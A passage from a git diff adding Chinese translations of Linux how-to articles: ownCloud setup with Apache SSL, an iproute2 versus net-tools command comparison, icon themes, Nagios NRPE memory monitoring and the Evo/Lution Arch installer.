Indexes FollowSymLinks + AllowOverride All + Order allow,deny + Allow from all + + +b) 编辑 the /etc/apache2/conf.d/owncloud.conf + + + Options Indexes FollowSymLinks MultiViews + AllowOverride All + Order allow,deny + Allow from all + + +c) 重启web服务器: + + # service apache2 restart + +d) 刷新浏览器,确认安全警告已经消失 + +![](https://farm6.staticflickr.com/5562/14884771428_fc9c063418_z.jpg) + +### 设置数据库 ### + +这时可以为ownCloud设置数据库了。 + +首先登录本地的MySQL/MariaDB数据库: + + $ mysql -u root -h localhost -p + +为ownCloud创建数据库和用户账户。 + + mysql> CREATE DATABASE owncloud_DB; + mysql> CREATE USER ‘owncloud-web’@'localhost' IDENTIFIED BY ‘whateverpasswordyouchoose’; + mysql> GRANT ALL PRIVILEGES ON owncloud_DB.* TO ‘owncloud-web’@'localhost'; + mysql> FLUSH PRIVILEGES; + +通过http://服务器 IP/owncloud 进入ownCloud页面,并选择‘Storage & database’ 选项。输入所需的信息(MySQL/MariaDB用户名,密码,数据库和主机名),并点击完成按钮。 + +![](https://farm6.staticflickr.com/5584/15071010982_b76c23c384_z.jpg) + +### 为ownCloud配置SSL连接 ### + +在你开始使用ownCloud之前,强烈建议你在ownCloud中启用SSL支持。使用SSL可以提供重要的安全好处,比如加密ownCloud流量并提供适当的验证。在本教程中,将会为SSL使用一个自签名的证书。 + +创建一个储存服务器密钥和证书的目录: + + # mkdir /etc/apache2/ssl + +创建一个证书(并有一个密钥来保护它),它有一年的有效期。 + + # openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt + +![](https://farm6.staticflickr.com/5587/15068784081_f281b54b72_z.jpg) + +编辑/etc/apache2/conf.d/owncloud.conf 启用HTTPS。对于重写规则中的NC、R和L的意义,你可以参考[Apache 文档][2]: + + Alias /owncloud /var/www/owncloud + + + RewriteEngine on + ReWriteCond %{SERVER_PORT} !^443$ + RewriteRule ^/(.*) https://%{HTTP_HOST}/$1 [NC,R,L] + + + + SSLEngine on + SSLCertificateFile /etc/apache2/ssl/apache.crt + SSLCertificateKeyFile /etc/apache2/ssl/apache.key + DocumentRoot /var/www/owncloud/ + + Options Indexes FollowSymLinks MultiViews + AllowOverride All + Order allow,deny + Allow from all + + + +启用重写模块并重启Apache: + + # a2enmod rewrite + # service apache2 restart + +打开你的ownCloud实例。注意一下,即使你尝试使用HTTP,你也会自动被重定向到HTTPS。 + +注意,即使你已经按照上述步骤做了,在你启动ownCloud你仍将看到一条错误消息,指出该证书尚未被受信的机构颁发(那是因为我们创建了一个自签名证书)。您可以放心地忽略此消息,但如果你考虑在生产服务器上部署ownCloud,你可以从一个值得信赖的公司购买证书。 + +### 创建一个账号 ### + +现在我们准备创建一个ownCloud管理员帐号了。 + +![](https://farm6.staticflickr.com/5587/15048366536_430b4fd64e.jpg) + +欢迎来自你的个人云!注意你可以安装一个桌面或者移动端app来同步你的文件、日历、通讯录或者更多了。 + +![](https://farm4.staticflickr.com/3862/15071372425_c391d912f5_z.jpg) + +在右上叫,点击你的用户名,会显示一个下拉菜单: + +![](https://farm4.staticflickr.com/3897/15071372355_3de08d2847.jpg) + +点击Personal来改变你的设置,比如密码,显示名,email地址、头像还有更多。 + +### ownCloud 使用案例:访问日历 ### + +让我开始添加一个事件到日历中并稍后下载。 + +点击左上角的下拉菜单并选择日历。 + +![](https://farm4.staticflickr.com/3891/15048366346_7dcc388244.jpg) + +添加一个时间并保存到你的日历中。 + +![](https://farm4.staticflickr.com/3882/14884818197_f55154fd91_z.jpg) + +通过 'Event and Tasks' -> 'Import...' -> 'Select file' 下载你的日历并添加到你的Thunderbird日历中: + +![](https://farm4.staticflickr.com/3840/14884818217_16a53400f0_z.jpg) + +![](https://farm4.staticflickr.com/3871/15048366356_a7f98ca63d_z.jpg) + +提示:你还需要设置你的时区以便在其他程序中成功地导入你的日历(默认情况下,日历程序将使用UTC+00:00时区)。要更改时区在左下角点击小齿轮图标,接着日历设置菜单就会出现,你就可以选择时区了: + +![](https://farm4.staticflickr.com/3858/14884669029_4e0cd3e366.jpg) + +### ownCloud 使用案例:上传一个文件 ### + +接下来,我们会从本机上传一个文件 + +进入文件菜单(左上角)并点击向上箭头来打开一个选择文件对话框。 + +![](https://farm4.staticflickr.com/3851/14884818067_4a4cc73b40.jpg) + +选择一个文件并点击打开。 + +![](https://farm6.staticflickr.com/5591/14884669039_5a9dd00ca9_z.jpg) + +接下来你就可以打开/编辑选中的文件,把它移到另外一个文件夹或者删除它了。 + +![](https://farm4.staticflickr.com/3909/14884771088_d0b8a20ae2_o.png) + +### 总结 ### + +ownCloud是一个灵活和强大的云存储,可以从其他供应商快速、简便、无痛的过渡。此外,它是开源软件,你只需要很少有时间和精力对其进行配置以满足你的所有需求。欲了解更多信息,可以随时参考[用户][3]、[管理][4]或[开发][5]手册。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/install-configure-owncloud-debian.html + +作者:[Gabriel Cánepa][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.gabrielcanepa.com.ar/ +[1]:http://owncloud.org/ +[2]:http://httpd.apache.org/docs/2.2/rewrite/flags.html +[3]:http://doc.owncloud.org/server/7.0/ownCloudUserManual.pdf +[4]:http://doc.owncloud.org/server/7.0/ownCloudAdminManual.pdf +[5]:http://doc.owncloud.org/server/7.0/ownCloudDeveloperManual.pdf \ No newline at end of file diff --git a/published/201411/20140905 Linux TCP or IP networking--net-tools vs. iproute2.md b/published/201411/20140905 Linux TCP or IP networking--net-tools vs. iproute2.md new file mode 100644 index 0000000000..8070ec36f8 --- /dev/null +++ b/published/201411/20140905 Linux TCP or IP networking--net-tools vs. iproute2.md @@ -0,0 +1,259 @@ +iproute2 对决 net-tools +================================================================================ + +如今很多系统管理员依然通过组合使用诸如ifconfig、route、arp和netstat等命令行工具(统称为net-tools)来配置网络功能,解决网络故障。net-tools起源于BSD的TCP/IP工具箱,后来成为老版本Linux内核中配置网络功能的工具。**但自2001年起,Linux社区已经对其停止维护。**同时,一些Linux发行版比如Arch Linux和CentOS/RHEL 7则已经完全抛弃了net-tools,只支持iproute2。 + +作为网络配置工具的一份子,iproute2的出现旨在从功能上取代net-tools。net-tools通过procfs(/proc)和ioctl系统调用去访问和改变内核网络配置,而iproute2则通过netlink套接字接口与内核通讯。抛开性能而言,iproute2的用户接口比net-tools显得更加直观。比如,各种网络资源(如link、IP地址、路由和隧道等)均使用合适的对象抽象去定义,使得用户可使用一致的语法去管理不同的对象。更重要的是,到目前为止,iproute2仍处在[持续开发][1]中。 + +如果你仍在使用net-tools,而且尤其需要跟上新版Linux内核中的最新最重要的网络特性的话,那么是时候转到iproute2的阵营了。原因就在于使用iproute2可以做很多net-tools无法做到的事情。 + +对于那些想要转到使用iproute2的用户,有必要了解下面有关net-tools和iproute2的众多对比。 + +### 显示所有已连接的网络接口 ### + +下面的命令显示出所有可用网络接口的列表(无论接口是否激活)。 + +使用**net-tools**: + + $ ifconfig -a + +使用**iproute2**: + + $ ip link show + +![](https://farm4.staticflickr.com/3852/15134851045_53a5135283_z.jpg) + +### 激活或停用网络接口 ### + +使用这些命令来激活或停用某个指定的网络接口。 + +使用**net-tools**: + + $ sudo ifconfig eth1 up + $ sudo ifconfig eth1 down + +使用**iproute2**: + + $ sudo ip link set down eth1 + $ sudo ip link set up eth1 + +### 为网络接口分配IPv4地址 ### + +使用这些命令配置网络接口的IPv4地址。 + +使用**net-tools**: + + $ sudo ifconfig eth1 10.0.0.1/24 + +使用**iproute2**: + + $ sudo ip addr add 10.0.0.1/24 dev eth1 + +值得注意的是,可以使用iproute2给同一个接口分配多个IP地址,ifconfig则无法这么做。使用ifconfig的变通方案是使用[IP别名][2]。 + + $ sudo ip addr add 10.0.0.1/24 broadcast 10.0.0.255 dev eth1 + $ sudo ip addr add 10.0.0.2/24 broadcast 10.0.0.255 dev eth1 + $ sudo ip addr add 10.0.0.3/24 broadcast 10.0.0.255 dev eth1 + +### 移除网络接口的IPv4地址 ### + +就IP地址的移除而言,除了给接口分配全0地址外,net-tools没有提供任何合适的方法来移除网络接口的IPv4地址。相反,iproute2则能很好地完全。 + +使用**net-tools**: + + $ sudo ifconfig eth1 0 + +使用**iproute2**: + + $ sudo ip addr del 10.0.0.1/24 dev eth1 + +### 显示网络接口的IPv4地址 ### + +按照如下操作可查看某个指定网络接口的IPv4地址。 + +使用**net-tools**: + + $ ifconfig eth1 + +使用**iproute2**: + + $ ip addr show dev eth1 + +同样,如果接口分配了多个IP地址,iproute2会显示出所有地址,而net-tools只能显示一个IP地址。 + +![](https://farm6.staticflickr.com/5552/15134470952_f478190693_z.jpg) + +### 为网络接口分配IPv6地址 ### + +使用这些命令为网络接口添加IPv6地址。net-tools和iproute2都允许用户为一个接口添加多个IPv6地址。 + +使用**net-tools**: + + $ sudo ifconfig eth1 inet6 add 2002:0db5:0:f102::1/64 + $ sudo ifconfig eth1 inet6 add 2003:0db5:0:f102::1/64 + +使用**iproute2**: + + $ sudo ip -6 addr add 2002:0db5:0:f102::1/64 dev eth1 + $ sudo ip -6 addr add 2003:0db5:0:f102::1/64 dev eth1 + +### 显示网络接口的IPv6地址 ### + +按照如下操作可显示某个指定网络接口的IPv6地址。net-tools和iproute2都可以显示出所有已分配的IPv6地址。 + +使用**net-tools**: + + $ ifconfig eth1 + +使用**iproute2**: + + $ ip -6 addr show dev eth1 + +![](https://farm4.staticflickr.com/3906/15111848536_f6cb7ddb4f_z.jpg) + +### 移除网络设备的IPv6地址 ### + +使用这些命令可移除接口中不必要的IPv6地址。 + +使用**net-tools**: + + $ sudo ifconfig eth1 inet6 del 2002:0db5:0:f102::1/64 + +使用**iproute2**: + + $ sudo ip -6 addr del 2002:0db5:0:f102::1/64 dev eth1 + +### 改变网络接口的MAC地址 ### + +使用下面的命令可[篡改网络接口的MAC地址][3],请注意在更改MAC地址前,需要停用接口。 + +使用**net-tools**: + + $ sudo ifconfig eth1 hw ether 08:00:27:75:2a:66 + +使用**iproute2**: + + $ sudo ip link set dev eth1 address 08:00:27:75:2a:67 + +### 查看IP路由表 ### + +net-tools中有两个选择来显示内核的IP路由表:route和netstat。在iproute2中,使用命令ip route。 + +使用**net-tools**: + + $ route -n + +---------- + + $ netstat -rn + +使用**iproute2**: + + $ ip route show + +![](https://farm6.staticflickr.com/5585/14948293867_c018df8efd_z.jpg) + +### 添加和修改默认路由 ### + +这里的命令用来添加或修改内核IP路由表中的默认路由规则。请注意在net-tools中可通过添加新的默认路由、删除旧的默认路由来实现修改默认路由。在iproute2使用ip route命令来代替。 + +使用**net-tools**: + + $ sudo route add default gw 192.168.1.2 eth0 + $ sudo route del default gw 192.168.1.1 eth0 + +使用**iproute2**: + + $ sudo ip route add default via 192.168.1.2 dev eth0 + $ sudo ip route replace default via 192.168.1.2 dev eth0 + +### 添加和移除静态路由 ### + +使用下面命令添加或移除一个静态路由。 + +使用**net-tools**: + + $ sudo route add -net 172.16.32.0/24 gw 192.168.1.1 dev eth0 + $ sudo route del -net 172.16.32.0/24 + +使用**iproute2**: + + $ sudo ip route add 172.16.32.0/24 via 192.168.1.1 dev eth0 + $ sudo ip route del 172.16.32.0/24 + +### 查看套接字统计信息 ### + +这里的命令用来查看套接字统计信息(比如活跃或监听状态的TCP/UDP套接字)。 + +使用**net-tools**: + + $ netstat + $ netstat -l + +使用**iproute2**: + + $ ss + $ ss -l + +![](https://farm4.staticflickr.com/3843/14948157419_564982b0e6_z.jpg) + +### 查看ARP表 ### + +使用这些命令显示内核的ARP表。 + +使用**net-tools**: + + $ arp -an + +使用**iproute2**: + + $ ip neigh + +![](https://farm4.staticflickr.com/3908/14948193370_1c5256e8e1_z.jpg) + +### 添加或删除静态ARP项 ### + +按照如下操作在本地ARP表中添加或删除一个[静态ARP项][4]。 + +使用**net-tools**: + + $ sudo arp -s 192.168.1.100 00:0c:29:c0:5a:ef + $ sudo arp -d 192.168.1.100 + +使用**iproute2**: + + $ sudo ip neigh add 192.168.1.100 lladdr 00:0c:29:c0:5a:ef dev eth0 + $ sudo ip neigh del 192.168.1.100 dev eth0 + +### 添加、删除或查看多播地址 ### + +使用下面的命令配置或查看网络接口上的多播地址。 + +使用**net-tools**: + + $ sudo ipmaddr add 33:44:00:00:00:01 dev eth0 + $ sudo ipmaddr del 33:44:00:00:00:01 dev eth0 + $ ipmaddr show dev eth0 + $ netstat -g + +使用**iproute2**: + + $ sudo ip maddr add 33:44:00:00:00:01 dev eth0 + $ sudo ip maddr del 33:44:00:00:00:01 dev eth0 + $ ip maddr list dev eth0 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/linux-tcpip-networking-net-tools-iproute2.html + +作者:[Dan Nanni][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://www.kernel.org/pub/linux/utils/net/iproute2/ +[2]:http://xmodulo.com/2013/02/how-to-assign-multiple-ip-addresses-to-one-network-interface-on-centos.html +[3]:http://xmodulo.com/2014/02/spoof-mac-address-network-interface-linux.html +[4]:http://xmodulo.com/2013/02/how-to-add-or-remove-static-arp-entry-on-linux.html \ No newline at end of file diff --git a/published/201411/20140910 Drab Desktop Try These 4 Beautiful Linux Icon Themes.md b/published/201411/20140910 Drab Desktop Try These 4 Beautiful Linux Icon Themes.md new file mode 100644 index 0000000000..8bf674367a --- /dev/null +++ b/published/201411/20140910 Drab Desktop Try These 4 Beautiful Linux Icon Themes.md @@ -0,0 +1,89 @@ +桌面看腻了?试试这 4 款漂亮的 Linux 图标主题吧 +================================================================================ +**Ubuntu 的默认图标主题在 5 年内[并未发生太大的变化][1],除了[一些古怪的新图标][2]。如果你确实想尝试一些新鲜的东西,我们将向你展示一些惊艳的替代品,它们会让你感到眼前一亮。** + +希望您可以在文末的评论里留下您比较中意的图标主题的链接地址。 + +### Captiva ### + +![Captiva 图标 + elementary 文件夹图标 + Moka GTK](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/moka-and-captiva.jpg) + +Captiva 图标 + elementary 文件夹图标 + Moka GTK + +Captiva 是一款相对较新的图标主题,即使是那些喜欢华丽图标的用户也会接受它。 + +Captiva 由 DeviantArt 的用户 ~[bokehlicia][3] 制作,它并未使用现在非常流行的2D扁平化风格,而是采用了一种柔和圆滑的外观。图标本身呈现出一种很有质感的材质外观,同时通过微调的阴影和亮丽的颜色提高了自身的格调。 + +不过 Captiva 图标主题并未包含文件夹图标在内,因此它将使用 elementary(如果可以的话)或者普通的 Ubuntu 文件夹图标。 + +要想在 Ubuntu 14.04 中安装 Captiva 图标,你可以新开一个终端,按如下方式添加官方 PPA 并进行安装: + + sudo add-apt-repository ppa:captiva/ppa + + sudo apt-get update && sudo apt-get install captiva-icon-theme + +或者,如果你不擅长通过软件源安装的话,你也可以直接从 DeviantArt 的主页上下载图标压缩包。把解压过的文件夹挪到家目录的‘.icons’目录下,即可完成安装。 + +无论你选择哪种方式来安装,你必须得通过像 [Unity Tweak Tool][4] 这样的工具来把你安装的图标主题(本文列出的其他图标主题也要这样)应用到系统上。 + +- [DeviantArt 上的 Captiva 图标主题][5] + +### Square Beam ### + +![Orchis GTK 主题下的 Square Beam 图标](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/squarebeam.jpg) + +Orchis GTK 主题下的 Square Beam 图标 + +厌倦有棱角的图标了?尝试下 Square Beam 吧。Square Beam 因为其艳丽的色泽、尖锐的坡度变化和鲜明的图标形象,比本文列出的其他图标具有更加宏大的视觉效果。Square Beam 声称自己有超过 30,000 个(抱歉,我没有仔细数过...)不同的图标(!),因此你很难找到它没有涉及到的地方。 + +- [GNOME-Look.org 上的 Square Beam 图标主题][6] + +### Moka & Faba ### + +![在 Orchis GTK 主题下的 Moka/Faba Mono 图标](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/moka-faba.jpg) + +在 Orchis GTK 主题下的 Moka/Faba Mono 图标 + +这里得稍微介绍下 Moka 图标集。事实上,我敢打赌阅读此文的大部分用户正在使用这款图标。 + +淡柔的颜色、平滑的边缘以及简洁的图标艺术设计,Moka 是一款真正出色又覆盖全面的应用图标。它的兄弟 Faba 将这些特点展现得淋漓尽致,而 Moka 也将延续这些 —— 涵盖所有的系统图标、文件夹图标、面板图标,等等。这个组合的结果是...吸引你的眼球! + +欲知 Ubuntu 上的安装详情、访问项目官方网站?请点击下面的链接。 + +- [下载 Moka & Faba 图标主题][7] + +### Compass ### + +![Compass 图标在 Numix Blue GTK 主题下](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/compass1.jpg) + +Compass 图标在 Numix Blue GTK 主题下 + +在本文最后推荐的是 Compass,最后推荐当然不是最差的意思。这款图标现在仍然保持着‘2D,双色’的 UI 设计风格。它也许是不像本文推荐的其他图标那样鲜明,但这正是它的特色。Compass 秉持这点并与之不断的完善 —— 看看文件夹的图标就知道了! + +可以通过 GNOME-Look(下面有链接)进行下载和安装,或者通过添加 Nitrux Artwork 的 PPA 安装: + + sudo add-apt-repository ppa:nitrux/nitrux-artwork + + sudo apt-get update && sudo apt-get install compass-icon-theme + +- [GNOME-Look.org 上的 Compass 图标主题][8] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/09/4-gorgeous-linux-icon-themes-download + +作者:[Joey-Elijah Sneddon][a] +译者:[SteveArcher](https://github.com/SteveArcher) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2010/02/lucid-gets-new-icons-for-rhythmbox-ubuntuone-memenu-more +[2]:http://www.omgubuntu.co.uk/2012/08/new-icon-theme-lands-in-lubuntu-12-10 +[3]:http://bokehlicia.deviantart.com/ +[4]:http://www.omgubuntu.co.uk/2014/06/unity-tweak-tool-0-7-development-download +[5]:http://bokehlicia.deviantart.com/art/Captiva-Icon-Theme-479302805 +[6]:http://gnome-look.org/content/show.php/Square-Beam?content=165094 +[7]:http://mokaproject.com/moka-icon-theme/download/ubuntu/ +[8]:http://gnome-look.org/content/show.php/Compass?content=160629 diff --git a/published/201411/20140910 How to monitor server memory usage with Nagios Remote Plugin Executor (NRPE).md b/published/201411/20140910 How to monitor server memory usage with Nagios Remote Plugin Executor (NRPE).md new file mode 100644 index 0000000000..f6707b0080 --- /dev/null +++ b/published/201411/20140910 How to monitor server memory usage with Nagios Remote Plugin Executor (NRPE).md @@ -0,0 +1,155 @@ +如何用Nagios远程执行插件(NRPE)来检测服务器内存使用率 +================================================================================ +在[先前的教程中][1],我们已经见到了如何在Nagios设置中设置Nagios远程执行插件(NRPE)。然而,监控内存使用率的脚本和插件并没有在原生的Nagios中。本篇中,我们会看到如何配置NRPE来监控远程服务器上的内存使用率。 + +我们要用的监控内存的脚本在[Nagios 市场][2]上,在创建者的[Github仓库][3]中也可以找到。 + +假设我们已经安装了NRPE,我们首先在我们想要监控的服务器上下载脚本。 + +### 准备远程服务器 ### + +#### 在 Debain/Ubuntu 中: #### + + # cd /usr/lib/nagios/plugins/ + # wget https://raw.githubusercontent.com/justintime/nagios-plugins/master/check_mem/check_mem.pl + # mv check_mem.pl check_mem + # chmod +x check_mem + +#### 在 RHEL/CentOS 中: #### + + # cd /usr/lib64/nagios/plugins/ (or /usr/lib/nagios/plugins/ for 32-bit) + # wget https://raw.githubusercontent.com/justintime/nagios-plugins/master/check_mem/check_mem.pl + # mv check_mem.pl check_mem + # chmod +x check_mem + +你可以通过手工在本地运行下面的命令来检查脚本的输出是否正常。当使用NRPE时,这条命令应该会检测空闲的内存,当可用内存小于20%时会发出警告,并且在可用内存小于10%时会生成一个严重警告。 + + # ./check_mem -f -w 20 -c 10 + +---------- + + OK - 34.0% (2735744 kB) free.|TOTAL=8035340KB;;;; USED=5299596KB;6428272;7231806;; FREE=2735744KB;;;; CACHES=2703504KB;;;; + +如果你看到像上面那样的输出,那就意味这命令正常工作着。 + +现在脚本已经准备好了,我们要定义NRPE检查内存使用率的命令了。如上所述,命令会检查可用内存,在可用率小于20%时发出警报,小于10%时发出严重警告。 + + # vim /etc/nagios/nrpe.cfg + +#### 对于 Debian/Ubuntu: #### + + command[check_mem]=/usr/lib/nagios/plugins/check_mem -f -w 20 -c 10 + +#### 对于 RHEL/CentOS 32 bit: #### + + command[check_mem]=/usr/lib/nagios/plugins/check_mem -f -w 20 -c 10 + +#### 对于 RHEL/CentOS 64 bit: #### + + command[check_mem]=/usr/lib64/nagios/plugins/check_mem -f -w 20 -c 10 + +### 准备 Nagios 服务器 ### + +在Nagios服务器中,我们为NRPE定义了一条自定义命令。该命令可存储在Nagios内的任何目录中。为了让本教程简单,我们会将命令定义放在/etc/nagios目录中。 + +#### 对于 Debian/Ubuntu: #### + + # vim /etc/nagios3/conf.d/nrpe_command.cfg + +---------- + + define command{ + command_name check_nrpe + command_line /usr/lib/nagios/plugins/check_nrpe -H '$HOSTADDRESS$' -c '$ARG1$' + } + +#### 对于 RHEL/CentOS 32 bit: #### + + # vim /etc/nagios/objects/nrpe_command.cfg + +---------- + + define command{ + command_name check_nrpe + command_line /usr/lib/nagios/plugins/check_nrpe -H $HOSTADDRESS$ -c $ARG1$ + } + +#### 对于 RHEL/CentOS 64 bit: #### + + # vim /etc/nagios/objects/nrpe_command.cfg + +---------- + + define command{ + command_name check_nrpe + command_line /usr/lib64/nagios/plugins/check_nrpe -H $HOSTADDRESS$ -c $ARG1$ + } + +现在我们定义Nagios的服务检查 + +#### 在 Debian/Ubuntu 上: #### + + # vim /etc/nagios3/conf.d/nrpe_service_check.cfg + +---------- + + define service{ + use local-service + host_name remote-server + service_description Check RAM + check_command check_nrpe!check_mem + } + +#### 在 RHEL/CentOS 上: #### + + # vim /etc/nagios/objects/nrpe_service_check.cfg + +---------- + + define service{ + use local-service + host_name remote-server + service_description Check RAM + check_command check_nrpe!check_mem + } + +最后我们重启Nagios服务 + +#### 在 Debian/Ubuntu 上: #### + + # service nagios3 restart + +#### 在 RHEL/CentOS 6 上: #### + + # service nagios restart + +#### 在 RHEL/CentOS 7 上: #### + + # systemctl restart nagios.service + +### 故障排除 ### + +Nagios应该开始在使用NRPE的远程服务器上检查内存使用率了。如果你有任何问题,你可以检查下面这些情况。 + + +- 确保NRPE的端口在远程主机上是总是允许的。默认NRPE的端口是TCP 5666。 +- 你可以尝试通过执行check\_nrpe 命令: /usr/lib/nagios/plugins/check\_nrpe -H remote-server 手工检查NRPE操作。 +- 你同样可以尝试运行check\_mem 命令:/usr/lib/nagios/plugins/check\_nrpe -H remote-server –c check\_mem +- 在远程服务器上,在/etc/nagios/nrpe.cfg中设置debug=1。重启NRPE服务并检查这些日志文件,/var/log/messages (RHEL/CentOS)或者/var/log/syslog (Debain/Ubuntu)。如果有任何的配置或者权限错误,日志中应该包含了相关的信息。如果日志中没有反映出什么,很有可能是由于请求在某些端口上有过滤而没有到达远程服务器上。 + +总结一下,这边教程描述了我们该如何调试NRPE来监控远程服务器的内存使用率。过程只需要下载脚本、定义命令和重启服务就行了。希望这对你们有帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/monitor-server-memory-usage-nagios-remote-plugin-executor.html + +作者:[Sarmed Rahman][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:http://linux.cn/article-4101-1.html +[2]:http://exchange.nagios.org/directory/Plugins/Operating-Systems/Solaris/check_mem-2Epl/details +[3]:https://github.com/justintime/nagios-plugins/blob/master/check_mem/check_mem.pl \ No newline at end of file diff --git a/published/201411/20140919 How to install Arch Linux the easy way with Evo or Lution.md b/published/201411/20140919 How to install Arch Linux the easy way with Evo or Lution.md new file mode 100644 index 0000000000..ff2b253bb0 --- /dev/null +++ b/published/201411/20140919 How to install Arch Linux the easy way with Evo or Lution.md @@ -0,0 +1,73 @@ +Arch Linux 安装捷径:Evo/Lution +================================================================================ +有些人只体验过Ubuntu或Mint的安装,却鼓起勇气想要安装Arch Linux,他们的学习道路是那样的陡峭和严峻,安装过程中半途而废的人数可能要比顺利过关的人多得多。如果你成功搭建并按你所需的配置好了Arch Linux,那么它已经把你培养成了一个饱经风霜的Linux用户。 + +即使有[可以帮助你的维基][1]为新手提供指南,对于那些想要征服Arch的人而言要求仍然太高。你需要至少熟悉诸如fdisk或mkfs之类的终端命令,并且听过mc、nano或chroot这些,并努力掌握它们。这让我回想起了10年前的Debian安装。 + +对于那些满怀抱负而又缺乏知识的生灵,有一个叫[Evo/Lution Live ISO][2]的ISO镜像格式安装器可以拯救他们。即便它貌似像发行版一样启动,但它其实除了辅助安装Arch Linux准系统之外啥都不干。Evo/Lution是一个项目,它旨在通过提供Arch的简单安装方式来为Arch的增加更多的用户基数,就像为那些用户提供全面帮助和文档的社区一样。在这样一个组合中,Evo是Live CD(不可安装),而Lution是个安装器本身。项目创立者看到了Arch及其衍生发行版的开发者和用户之间的巨大鸿沟,而想要在所有参与者之间构筑一个身份平等的社区。 + +![](https://farm6.staticflickr.com/5559/15067088008_ecb221408c_z.jpg) + +项目的软件部分是命令行安装器Lution-AIS,它负责解释一个普通的纯净的Arch安装过程中的每一步。安装完毕后,你将获得Arch提供的没有从AUR添加任何东西的最新软件或其它任何自定义的包。 + +启动这个422MB大小的ISO镜像后,一个由显示在右边的带有选项快捷方式的Conky和一个左边等待运行安装器的LX-Terminal组成的工作区便呈现在我们眼前。 + +![](https://farm6.staticflickr.com/5560/15067056888_6345c259db_z.jpg) + +在通过右击桌面或使用ALT-i启动实际的安装器后,一个写满了16个等待运行的任务列表就出现在你面前了。除非你知道你在做什么,否则请将这些任务全部运行一遍。你可以一次运行,也可以进行选择,如1 3 6,或者1-4,也可以一次将它们全部运行,输入1-16。大多数步骤需要‘y’,即‘yes’,来确认,敲击回车即可。在此期间,你有足够的时间来阅读安装指南,它可以通过ALT-g来打开。当然,你也可以出去溜达一圈再回来。 + +![](https://farm4.staticflickr.com/3868/15253227082_5e7219f72d_z.jpg) + +这16个步骤分成“基础安装”和“桌面安装”两组。第一个组安装主要关注本地化、分区,以及安装启动器。 + +安装器带领你穿越分区世界,你可以选择使用gparted、gdisk,以及cfdisk。 + +![](https://farm4.staticflickr.com/3873/15230603226_56bba60d28_z.jpg) + +![](https://farm4.staticflickr.com/3860/15253610055_e6a2a7a1cb_z.jpg) + +创建完分区后(如,像截图中所示,用gparted划分/dev/sda1用于root,/dev/sda2用于swap),你可以在10个文件系统中选择其中之一。在下一步中,你可以选择内核(最新或长期支持LTS)和基础系统。 + +![](https://farm6.staticflickr.com/5560/15253610085_aa5a9557fb_z.jpg) + +安装完你喜爱的启动加载器后,第一部分安装就完成了,这大约需要花费12分钟。这是在普通的Arch Linux中你第一次重启进入系统所处之处。 + +在Lution的帮助下,继续进入第二部分,在这一部分中将安装Xorg、声音和图形驱动,然后进入桌面环境。 + +![](https://farm4.staticflickr.com/3918/15066917430_c21e0f0a9e_z.jpg) + +安装器会检测是否在VirtualBox中安装,并且会自动为VM安装并加载正确的通用驱动,然后相应地设置**systemd**。 + +在下一步中,你可以选择KDE、Gnome、Cinnamon、LXDE、Englightenment、Mate或XFCE作为你的桌面环境。如果你不喜欢臃肿的桌面,你也可以试试这些窗口管理器:Awesome、Fluxbox、i3、IceWM、Openbox或PekWM。 + +![](https://farm4.staticflickr.com/3874/15253610125_26f913be20_z.jpg) + +在使用Cinnamon作为桌面环境的情况下,第二部分安装将花费不到10分钟的时间;而选择KDE的话,因为要下载的东西多得多,所以花费的时间也会更长。 + +Lution-AIS在Cinnamon和Awesome上像个妩媚的小妖精。在安装完成并提示重启后,它就带我进入了我所渴望的环境。 + +![](https://farm4.staticflickr.com/3885/15270946371_c2def59f37_z.jpg) + +我要提出两点批评:一是在安装器要我选择一个镜像列表时,以及在创建fstab文件时。在这两种情况下,它都另外开了一个终端,给出了一些文本信息提示。这让我花了点时间才搞清楚,原来我得把它关了,安装器才会继续。在创建fstab后,它又会提示你,而你需要关闭终端,并在问你是否想要保存文件时回答‘是’。 + +![](https://farm4.staticflickr.com/3874/15067056958_3bba63da60_z.jpg) + +我碰到的第二个问题,可能与VirtualBox有关了。在启动的时候,你可以看到没有网络被检测到的提示信息。点击顶部左边的图标,将会打开我们所使用的网络管理器wicd。点击“断开”,然后再点击“连接”并重启安装器,就可以让它自动检测到了。 + +Evo/Lution看起来是个有价值的项目,在这里Lution工作一切顺利,目前还没有什么可告诉社区的。他们开启了一个全新的网站、论坛和维基,需要填充内容进去啊。所以,如果你喜欢这主意,加入[他们的论坛][3]并告诉他们吧。本文中的ISO镜像可以从[此网站][4]下载。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/install-arch-linux-easy-way-evolution.html + +作者:[Ferdinand Thommes][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/ferdinand +[1]:https://wiki.archlinux.org/ +[2]:http://www.evolutionlinux.com/ +[3]:http://www.evolutionlinux.com/forums/ 